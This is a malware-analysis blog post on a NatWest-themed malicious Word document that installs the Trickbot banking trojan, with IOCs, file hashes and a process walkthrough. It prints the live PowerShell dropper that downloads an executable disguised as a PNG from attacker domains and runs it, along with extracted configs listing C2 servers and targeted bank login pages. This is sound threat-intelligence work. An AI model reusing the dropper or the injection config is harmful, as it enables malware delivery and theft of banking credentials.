{"id":949,"date":"2017-08-31T23:38:08","date_gmt":"2017-08-31T22:38:08","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=949"},"modified":"2017-09-01T10:33:14","modified_gmt":"2017-09-01T09:33:14","slug":"2017-08-30-trickbot-maldoc-part-one","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=949","title":{"rendered":"2017-08-30 Trickbot Maldoc &#8211; Part One"},"content":{"rendered":"<p>For today&#8217;s post, I will be looking at a malicious Word document that we got spoofing NatWest which led to Trickbot malware being installed on the system. After I found this sample, I started to see posts on Tweeter from people like <a href=\"http:\/\/twitter.com\/dvk01uk\/status\/902844030463217664\" target=\"_blank\">@dvk01uk<\/a> and <a href=\"http:\/\/twitter.com\/VK_Intel\/status\/902991164168560640\" target=\"_blank\">@VK_Intel<\/a> posting about Trickbot. For this initial investigation there are three PCAPs since I initially did not see much going on after the initial infection, and then after a couple of minutes I started to see more traffic and fired up Wireshark again to see what I could capture. The last one is from when I saw some other traffic on the system as I was writing this blog up and wanted to capture it as well.<\/p>\n<p>For more information about Trickbot and what it is, take a look at this article from ZDNet which should give you a good overview of what it is: <a href=\"http:\/\/www.zdnet.com\/article\/dyre-successor-trickbot-attacks-australian-banks\/\" target=\"_blank\">http:\/\/www.zdnet.com\/article\/dyre-successor-trickbot-attacks-australian-banks\/<\/a>.<br \/>\nThere are some awesome deep dives into this malware that you can find by reading Malwarebyte&#8217;s blog about it <a href=\"http:\/\/blog.malwarebytes.com\/threat-analysis\/2017\/08\/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data\/\" target=\"_blank\">here<\/a> and also Fortinet&#8217;s blog post about it as well located <a href=\"http:\/\/blog.fortinet.com\/2016\/12\/06\/deep-analysis-of-the-online-banking-botnet-trickbot\" target=\"_blank\">here<\/a>.<\/p>\n<p>As usual, all artifacts and logs from my investigation can be found over in my Github repo located <a href=\"http:\/\/github.com\/bloomer1016\/2017-08-30-Trickbot-Maldoc\" target=\"_blank\">here<\/a>. The ProcMon logs are too large for Github, so you can find the logs <a href=\"http:\/\/f8a99ef488568674b8f2-bc2a9982cf239e44febadc6e9957a54f.ssl.cf1.rackcdn.com\/Logfile.PML.zip\">here<\/a>.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Email.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Email.png\" alt=\"\" width=\"545\" height=\"332\" class=\"aligncenter size-full wp-image-955\" \/><\/a><\/p>\n<p>IOCs:<br \/>\n=====<br \/>\n193.227.247.241:80 or 193.227.248.241\/ campuslinne.com\/pages\/kasaragarban.png (TCP GET)<br \/>\n95.154.199.118 \/ changetheworld.bit\/gate.php?client_id=ABDA76321D1B05B88228B05AD1BF97F2&amp;connected=0&amp;server_port=0&amp;debug=0 (TCP GET)<br \/>\nhttp:\/\/campusassas.com\/fonction\/kasaragarban.png<br \/>\n23.23.170.235:80 \/ api.ipify.org (TCP HTTP)<br \/>\n5.2.76.34:443 (TCP)<br \/>\n84.40.65.85:449 (TCP)<br \/>\n5.2.65.130:443 (TCP)<br \/>\n107.22.214.64:80 (TCP)<br \/>\n194.87.102.36:443 (TCP)<br \/>\n51.254.164.249:443 (TCP)<br \/>\n84.238.198.166:449 (TCP)<br \/>\n91.139.236.92:449 (TCP)<br \/>\n51.254.164.249:443 (TCP)<br \/>\n46.105.238.157:443 (TCP)<br \/>\n188.165.62.15:443 (TCP)<br \/>\n149.56.167.227:443 (TCP)<br \/>\n188.165.62.46:443 (TCP)<br \/>\n37.59.80.96:443 (TCP)<br \/>\n67.21.84.23:443 (TCP)<br \/>\n199.181.238.221:443 (TCP)<br \/>\n178.156.202.114:443 (TCP)<br \/>\n210.16.102.251:443 (TCP)<br \/>\n5.152.210.176:443 (TCP)<br \/>\n66.85.27.165:443 (TCP)<br \/>\n199.181.238.224:443 (TCP)<br \/>\n89.46.222.240:443 (TCP)<br \/>\n172.82.152.171:443 (TCP)<br \/>\n188.165.62.8:443 (TCP)<br \/>\n89.46.222.246:443 (TCP)<br \/>\n178.156.202.206:443 (TCP)<br \/>\n194.87.102.167:8082 (TCP)<br \/>\n95.154.199.118:1062 (TCP)<br \/>\n217.12.210.54:447 (TCP)<\/p>\n<p>Artifacts:<br \/>\n==========<br \/>\nFile name: natwest1753465723087_352.doc<br \/>\nFile size: 84KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 25f8b96e340803da98f2c7f95f29c025<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/#\/file\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51\/community\" target=\"_blank\">http:\/\/virustotal.com\/#\/file\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51\/community<\/a><br \/>\nDetection ratio: 7 \/ 59<br \/>\nFirst detected: 2017-08-30 09:49:05<br \/>\nMalwr: <a href=\"http:\/\/malwr.com\/analysis\/YjhhNjBiNmM2NDVmNDc2NTg5ZGU1NmFmNTZmMTVlYjk\/\" target=\"_blank\">http:\/\/malwr.com\/analysis\/YjhhNjBiNmM2NDVmNDc2NTg5ZGU1NmFmNTZmMTVlYjk\/<\/a><br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51?environmentId=100<\/a><\/p>\n<p>File name: Buqtjkk.exe<br \/>\nFile size: 465KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp\\<br \/>\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection\" target=\"_blank\">http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a><br \/>\nDetection ratio: 43 \/ 65<br \/>\nFirst detected: 2017-08-30 10:01:10<br \/>\nMalwr: NA<br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n<p>File name: kasaragarban.png (File was not downloaded via script, but I grabbed a copy anyways)<br \/>\nFile size: 465KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection\" target=\"_blank\">http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a><br \/>\nDetection ratio: 43 \/ 65<br \/>\nFirst detected: 2017-08-30 10:01:10<br \/>\nMalwr: NA<br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n<p>File name: Atpsijj.exe<br \/>\nFile size: 465KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Roaming\\winapp\\Atpsijj.exe<br \/>\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection\" target=\"_blank\">http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a><br \/>\nDetection ratio: 43 \/ 65<br \/>\nFirst detected: 2017-08-30 10:01:10<br \/>\nMalwr: NA<br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n<p>File name: tndqlx.bat<br \/>\nFile size: 333B<br \/>\nFile path: C:\\Users\\Bill\\AppData\\Local\\Temp<br \/>\nMD5 hash: 980408f633a99c678a65f2283b3cca22<br \/>\nVirustotal: NA<br \/>\nMalwr: NA<br \/>\nReverse.IT: NA<\/p>\n<p>File name: client_id<br \/>\nFile size: 98B<br \/>\nFile path: C:\\Users\\Bill\\AppData\\Roaming\\winapp<br \/>\nMD5 hash: 4c721cd3c6ba294c54862d7f586a1593<br \/>\nVirustotal: NA<br \/>\nMalwr: NA<br \/>\nReverse.IT: NA<\/p>\n<p>File name: group_tag<br \/>\nFile size: 10B<br \/>\nFile path: C:\\Users\\Bill\\AppData\\Roaming\\winapp<br \/>\nMD5 hash: e9da051cb1bc0407e3e4d0151886c426<br \/>\nVirustotal: NA<br \/>\nMalwr: NA<br \/>\nReverse.IT: NA<\/p>\n<p>Analysis:<br \/>\n=========<br \/>\nBelow is a high-level overview of what the infection looks like from the host perspective via Process Monitor.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/ProcMon-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/ProcMon-1.png\" alt=\"\" width=\"1467\" height=\"140\" class=\"aligncenter size-full wp-image-960\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/ProcMon-2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/ProcMon-2.png\" alt=\"\" width=\"1474\" height=\"70\" class=\"aligncenter size-full wp-image-961\" \/><\/a><\/p>\n<p>Basically the Word document opens up an instance of CMD.exe and runs the following Powershell script.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\ncmd \/c PowerShell &quot;'PowerShell &quot;&quot;function stase(&#x5B;String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,''%TMP%\\Buqtjkk.exe'');Start-Process ''%TMP%\\Buqtjkk.exe'';}try{stase(''http:\/\/campuslinne.com\/pages\/kasaragarban.png'')}catch{stase(''http:\/\/campusassas.com\/fonction\/kasaragarban.png'')}'&quot;&quot; | Out-File -encoding ASCII -FilePath %TMP%\\tndqlx.bat;Start-Process '%TMP%\\tndqlx.bat' -WindowStyle Hidden&quot;<\/pre>\n<p>This script is used to go out and grab what looks to be PNG image files, but really are malicious binary files. In my example, the domain &#8220;http:\/\/campuslinne[.]com\/pages\/kasaragarban[.]png&#8221; was used and not the other one. I did manually go and grab the file from the unused URL in the script just to see if they were the same. Turns out that my hunch was correct as they are the same file. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Files.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Files.png\" alt=\"\" width=\"744\" height=\"509\" class=\"aligncenter size-full wp-image-956\" \/><\/a><\/p>\n<p>The Powershell script also seems to do a scan of the Start Menu and Documents folders before creating the &#8220;tndqlx.bat&#8221; file in the %TEMP% directory which looks pretty close to the above Powershell script.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nPowerShell &quot;function stase(&#x5B;String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,'C:\\Users\\Bill\\AppData\\Local\\Temp\\Buqtjkk.exe');Start-Process 'C:\\Users\\Bill\\AppData\\Local\\Temp\\Buqtjkk.exe';}try{stase('http:\/\/campuslinne.com\/pages\/kasaragarban.png')}catch{stase('http:\/\/campusassas.com\/fonction\/kasaragarban.png')<\/pre>\n<p>Which continues by pulling down the malicious binary using either of the two URLs above, and proceeds to start that file as a new process.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Buqtjkk.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Buqtjkk.png\" alt=\"\" width=\"514\" height=\"279\" class=\"aligncenter size-full wp-image-951\" \/><\/a><\/p>\n<p>We then see that the &#8220;Buqtjkk.exe&#8221; creates the file &#8220;Atpsijj.exe&#8221; (PID: 2620) and shortly thereafter start up.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Atpsijj.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Atpsijj.png\" alt=\"\" width=\"572\" height=\"331\" class=\"aligncenter size-full wp-image-950\" \/><\/a><\/p>\n<p>&#8220;Atpsijj.exe&#8221; (PID: 2620) reads\/queries some registry keys and some other bits and bobs on the system. It then proceeds to hollow out a svchost.exe (PID: 1964) process as seen below.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Proc_Hallow.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Proc_Hallow.png\" alt=\"\" width=\"1887\" height=\"314\" class=\"aligncenter size-full wp-image-959\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/SVCHost_Start.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/SVCHost_Start.png\" alt=\"\" width=\"1074\" height=\"804\" class=\"aligncenter size-full wp-image-963\" \/><\/a><\/p>\n<p>While &#8220;svchost.exe&#8221; (PID: 1964) continues to scan the system (files and registry keys), we see another &#8220;svchost.exe&#8221; process (PID:884) create the scheduled task along with the required registry key as well.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Task-schedule-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Task-schedule-1.png\" alt=\"\" width=\"1887\" height=\"71\" class=\"aligncenter size-full wp-image-964\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Task-schedule-2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Task-schedule-2.png\" alt=\"\" width=\"1608\" height=\"612\" class=\"aligncenter size-full wp-image-965\" \/><\/a><\/p>\n<p>Jumping back to &#8220;svchost.exe&#8221; (PID: 1964), it creates the &#8220;Modules&#8221; folder found in the &#8220;winapp&#8221; folder along with the &#8220;client_id&#8221; in the %TEMP% folder. We also see it querying registry keys related to things such as TCPIP and TCPIP6 Winsock keys and TCPIP and DNSCache parameters as well. There is also a call from this svchost.exe (PID: 1964) that does a CreateFileMapping and LoadImage for &#8220;rasadhlp.dll&#8221; and &#8220;FWPUCLNT.DLL&#8221; which are most likely what is helping this process make outbound requests since there is a TCPConnect from this process to Amazon.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/INT_Request-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/INT_Request-1.png\" alt=\"\" width=\"1892\" height=\"348\" class=\"aligncenter size-full wp-image-957\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/INT_Request-2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/INT_Request-2.png\" alt=\"\" width=\"1686\" height=\"34\" class=\"aligncenter size-full wp-image-958\" \/><\/a><\/p>\n<p>One thing to note here since there is a request for it in the ProcMon logs; this sample of Trickbot seems to be different than the other articles that I have seen written about Trickbot. From what I can tell, there was never any config.conf file written to the system, not was there any modules written to the Modules folder. But when looking at the strings of &#8220;svchost.exe&#8221; (PID: 1964) there are some calls for things like &#8220;importDll32&#8221; or as in the ProcMon log, there is a call for the config.conf file which is not found on the system. I do not know if this is because my sample was somewhat &#8220;broken&#8221; or if this is an older version and perhaps did not use these items. <\/p>\n<p>After &#8220;svchost.exe&#8221; (PID: 1964) reads various registry keys located in the HKLM\\Software\\Microsoft\\Cryptography, it finally creates the &#8220;group_tag&#8221; file under the &#8220;winapp&#8221; folder. <\/p>\n<p>We then finally see the task scheduler (PID: 2072 and a child to the svchost.exe PID: 884) start up which then proceeds to spin up another &#8220;Atpsijj.exe&#8221; (PID: 2744) process, which in turns spins up another svchost.exe (PID: 1484).<\/p>\n<p>Switching gears a bit here, since I came across VK_Intel&#8217;s ghostbin link (see above) giving some details about the configuration of Trickbot, and also seeing hasherezade&#8217;s <a href=\"http:\/\/twitter.com\/hasherezade?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor\" target=\"_blank\">@hasherezade<\/a>&#8216;s link for various Trickbot configs <a href=\"http:\/\/gist.github.com\/hasherezade\/0c464f970018f509444243b67a0c5447#file-dinj-xml\" target=\"_blank\">here<\/a>, I decided to run strings2 against &#8220;svchost.exe&#8221; (PID: 1964) to see if I could find anything of use. I first looked for the keyword &#8220;module&#8221; within the log. Thankfully I was able to find various hits of the word with some associated configurations around the found line. The following was the most complete within the log.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;moduleconfig&gt;\r\n  &lt;autostart&gt;yes&lt;\/autostart&gt;\r\n  &lt;sys&gt;yes&lt;\/sys&gt;\r\n  &lt;needinfo name=&quot;id&quot;\/&gt;\r\n  &lt;needinfo name=&quot;ip&quot;\/&gt;\r\n  &lt;autoconf&gt;\r\n    &lt;conf ctl=&quot;dinj&quot; file=&quot;dinj&quot; period=&quot;20&quot;\/&gt;\r\n    &lt;conf ctl=&quot;sinj&quot; file=&quot;sinj&quot; period=&quot;20&quot;\/&gt;\r\n    &lt;conf ctl=&quot;dpost&quot; file=&quot;dpost&quot; period=&quot;60&quot;\/&gt;\r\n  &lt;\/autoconf&gt;\r\n&lt;\/moduleconfig&gt;<\/pre>\n<p>Note: I did find examples of  set to no as well in the strings log. Odd thing is that based on the MalwareBytes blog listed above, the following section deals with the theft of data saved by Outlook.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;moduleconfig&gt;\r\n\t&lt;autostart&gt;no&lt;\/autostart&gt;\r\n\t&lt;needinfo name=&quot;id&quot;\/&gt;\r\n\t&lt;needinfo name=&quot;ip&quot;\/&gt;\r\n\t&lt;autoconf&gt;\r\n\t\t&lt;conf ctl=&quot;SetConf&quot; file=&quot;mailconf&quot; period=&quot;90&quot;\/&gt;\r\n\t&lt;\/autoconf&gt;\r\n&lt;\/moduleconfig&gt;<\/pre>\n<p>I then searched for the keyword &#8220;:449&#8221; and came across the following block.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;mcconf&gt;\r\n\t&lt;ver&gt;1000043&lt;\/ver&gt;\r\n\t&lt;gtag&gt;tt0002&lt;\/gtag&gt;\r\n&lt;servs&gt;\r\n\t&lt;srv&gt;84.238.198.166:449&lt;\/srv&gt;\r\n\t&lt;srv&gt;91.139.236.92:449&lt;\/srv&gt;\r\n\t&lt;srv&gt;84.40.65.85:449&lt;\/srv&gt;\r\n\t&lt;srv&gt;51.254.164.249:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;46.105.238.157:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;188.165.62.15:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;149.56.167.227:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;188.165.62.46:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;37.59.80.96:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;67.21.84.23:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;199.181.238.221:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;178.156.202.114:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;210.16.102.251:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;5.152.210.176:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;66.85.27.165:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;199.181.238.224:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;89.46.222.240:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;172.82.152.171:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;188.165.62.8:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;89.46.222.246:443&lt;\/srv&gt;\r\n\t&lt;srv&gt;178.156.202.206:443&lt;\/srv&gt;\r\n&lt;\/servs&gt;\r\n&lt;autorun&gt;\r\n\t&lt;module name=&quot;systeminfo&quot; ctl=&quot;GetSystemInfo&quot;\/&gt;\r\n\t&lt;module name=&quot;injectDll&quot;\/&gt;\r\n&lt;\/autorun&gt;\r\n&lt;\/mcconf&gt;<\/pre>\n<p>Next I searched for the keyword &#8220;sinj&#8221; and found what I believe is the list of domains that this piece of malware is monitoring for.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;mm&gt;http:\/\/www.nwolb.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www.nwolb.com\/default.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;cqsauvfqrkchbptxelozmsdyainj.net&lt;\/nh&gt;\r\n&lt;url404&gt;*\/ServiceManagement\/GenericEr\r\nenu.aspx?ErrorPage=PNF*&lt;\/url404&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www6.rbc.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www6.rbc.com\/webapp\/ukv0\/signin\/logon.xht\r\n&lt;nh&gt;chsaryoxijedlfktmvupsbqzcwgh.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www.rbsdigital.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www.rbsdigital.com\/default\r\n&gt;\r\n&lt;nh&gt;cksadrwyqvgokpitzunjhfslamex.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/lloydslink.online.lloydsbank.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/lloydslin\r\nloydsbank.com\/Logon*&lt;\/sm&gt;\r\n&lt;nh&gt;dcsadhevyqfzwmcnsiobtpjkalrg.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www.ulsterbankanytimebanking.ie*&lt;\/mm&gt;\r\ns:\/\/www.ulsterbankanytimebanking.ie\/default.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;ddsamcpfbxhavswtquzjgiykelnd.net&lt;\/nh&gt;\r\n&lt;url404&gt;\/ServiceManagement\/GenericErrorPageNoMenu.aspx?ErrorPage=PNR\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/banking.bankofscotland.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/banking.bankofscotland.co.uk\/Logon*&lt;\/sm&gt;\r\n&lt;nh&gt;dbsajondmzrE\r\neipuawg.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/businessbanking*.tdcommercialbanking.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/businessbanking*.tdcommercialH\r\nm\/WBB\/Login*&lt;\/sm&gt;\r\n&lt;nh&gt;basabroxpcnqfdteyhazwlgmvsji.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/online-business.bankofscotland.co.uk*&lt;\/mm&gt;\r\n&lt;s\r\n\/online-business.bankofscotland.co.uk\/business*&lt;\/sm&gt;\r\n&lt;nh&gt;bcsaqnrhsiztfouvcdmpklwabgje.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/transtasmaf\r\nnz.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/transtasman.online.anz.com\/client*&lt;\/sm&gt;\r\n&lt;nh&gt;rqsccqwzhiksmjuefrlxptbogvyd.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;httpsi\r\ndirect.co.nz*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www.anzdirect.co.nz\/online\/EnterANZDirect.do*&lt;\/sm&gt;\r\n&lt;nh&gt;rhscjefivzbwxdprlhksnmoqcgay.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\nm&gt;http:\/\/online.coutts.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/online.coutts.com\/eBankingCouttsLogin\/login*&lt;\/sm&gt;\r\n&lt;nh&gt;qasaswzlpmdufjxevhociqngybrt.net&lt;\/nh&gt;\r\n&lt;url404&gt;*\/error_path\/404.\r\n404&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/business.co-operativebank.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/business.co-operativebank.co.uk\/corp\/*&lt;\/sm&gt;\r\n&lt;nh&gt;q\r\nsohxunbzdcerpgaqi.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/fdonline.co-operativebank.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/fdonline.co-operativebank.co=\r\n\/sm&gt;\r\n&lt;nh&gt;hbsabvronpckthldjquyaigsfmez.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/corporate.metrobankonline.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/corpora \r\nnkonline.co.uk\/servlet\/BrowserServlet*&lt;\/sm&gt;\r\n&lt;nh&gt;bosaxblkqnivecuwaygptrzfmshd.com&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www2?.bmo.com*&lt;\/mm&gt;+\r\ns:\/\/www2?.bmo.com\/ctpauth\/CTPEAILogin\/CustUserPasswordAuthServlet?TAM_OP=login*&lt;\/sm&gt;\r\n&lt;nh&gt;bosdhymixgdkzqrabfctswelopvj.org&lt;\/nh&gt;\r\n&lt;url404&gt;http:\/\/www2?.bmo.com\/ctpauth\r\nin\/CustUserPasswordAuthServlet?TAM_OP=login?ERROR_CODE=0x00000000*&lt;\/url404&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www.onlinebanking.iombank.com*\r\n&gt;http:\/\/www.onlinebanking.iombank.com\/default.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;kdsawblqdhtngzmuksyiaxjefcro.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/bank.\r\no.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action*&lt;\/sm&gt;\r\n&lt;nh&gt;kbsavjthsyofzqnpburdxgciweam.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&l